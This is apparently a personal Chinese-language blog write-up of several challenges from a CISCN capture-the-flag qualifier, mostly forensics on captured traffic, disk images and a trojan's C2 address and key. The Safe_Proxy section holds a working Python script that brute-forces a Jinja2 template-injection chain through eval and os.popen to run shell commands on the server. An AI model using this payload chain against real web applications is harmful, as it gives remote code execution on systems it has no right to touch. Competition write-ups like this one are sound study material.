Luoingly's Space

第十八届全国大学生信息安全竞赛暨第二届「长城杯」铁人三项赛线上初赛个人题解

December 15, 2024 · Legacy Blog

这是什么比赛,不会 CTF,退役了。

Safe_Proxy

什么 Proxy 不 Proxy 的,就是一 SSTI。先纯暴力一下:

import requests
from time import sleep
from tqdm import trange

TIMEOUT = 5
TARGET = "http://[REDACTED]/"
HEADERS = {"Content-Type": "application/x-www-form-urlencoded"}

def get_code(idx: int) -> str:
    return r"{{ ()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)("+str(idx)+r")|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)(request.args.g)|attr(request.args.d)(request.args.h)(request.args.i) }}"

def get_params(payload: str) -> dict[str, str]:
    return {"a": "__class__",      "b": "__base__",
            "c": "__subclasses__", "d": "__getitem__",
            "e": "__init__",       "f": "__globals__",
            "g": "__builtins__",   "h": "eval",
            "i": f"__import__('os').popen('{payload}').read()"}

for idx in trange(1, 500):
    found = False
    while True:
        try:
            response = requests.post(
                TARGET, headers=HEADERS, data={"code": get_code(idx)}, 
                params=get_params("ls"), timeout=TIMEOUT)
            if not "500 Internal Server Error" in response.text:
                found = True
        except: sleep(5)
        finally: break
    if found: break

得知 idx=80 是可以的,那就再考虑一下怎么回显。一通折腾后发现可以直接写入到 app.py 文件中去:

response = requests.post(
    TARGET, headers=HEADERS, data={"code": get_code(idx)}, 
    params=get_params("cat /flag >> app.py"), timeout=TIMEOUT)
print(f"[+] Server's response: {response.text}")

response = requests.get(TARGET)
print(f"[+] Final: \n{response.text}")

zeroshell_1

筛查所有发送到 WAF 服务器的 HTTP 请求(ip.dst == 61.139.2.100 && http)并查阅。首先,认为 61.139.2.128 大概是内网管理员的正常访问,遂筛去。而后就只剩下来自 182.143.237.15 的请求,在其中一个请求中发现了疑似命令执行的 Payload,其请求 Referer 中为 Base64 编码的 flag:

屏幕截图_2024-12-15_115900

zeroshell_2

取证取证,硬盘又没加密这我不直接看?使用工具直接挂载 zeroshell-000001.vmdk,在 PROFILES:/_DB.001 下发现 flag 文件:

屏幕截图_2024-12-15_120307

zeroshell_3

已知 WAF 服务器 IP 地址是 61.139.2.100,统计分析与其通信的地址,注意到 202.115.89.103 很可疑,尝试提交发现正是本题的答案:

屏幕截图_2024-12-15_115411

zeroshell_4

手法同 zeroshell_2,根目录下有可疑的 .nginx 可执行文件(截图同 zeroshell_2),直接尝试提交发现正是本题答案。

zeroshell_5

接上一步,提取出 .nginx 后进行反编译,直接追着 C2 服务器地址 202.115.89.103 进行搜索,定位到:

屏幕截图_2024-12-15_132247

尝试发现紧随其后的字符串 11223344qweasdzxc 便是本题需要的加密密钥。

zeroshell_6

手法同 zeroshell_2。翻查硬盘文件后在 PROFILES:/_DB.001/var/register/system/startup/scripts/nat 下发现一个涉及到恶意木马 .nginx 的文件,推测其为启动项启动文件:

屏幕截图_2024-12-15_120750

尝试提交发现正是本题答案。

WinFT_1

屏幕截图_2024-12-15_152059

已知异常客户机是 192.168.116.123,筛选其发出的 HTTP 流量,其中发现了一些异常请求(往 443 端口发 HTTP 请求,而且查询得知并没有这个域名)。所以本题 flag 为:flag{miscsecure.com:192.168.116.130:443}

WinFT_5

既然客户机和 C2 服务器地址都知道了,仔细看看它们俩之间的流量包,发现一个文件传输,还是分体了的:

屏幕截图_2024-12-15_160225

给它扒完整后发现是一个加密压缩包,里面除了 flag.txt 还有一个 Everything.zip,考虑明文攻击。我们有明文吗?还真有:

屏幕截图_2024-12-15_155054

直接打:

屏幕截图_2024-12-15_155701

Tags: #CTF #Writeup #CISCN #Web #Forensics

This article is authored by luoingly and licensed under CC BY-NC 4.0

Permalink: https://luoy.ing/posts/ciscn-s18-quals-writeup/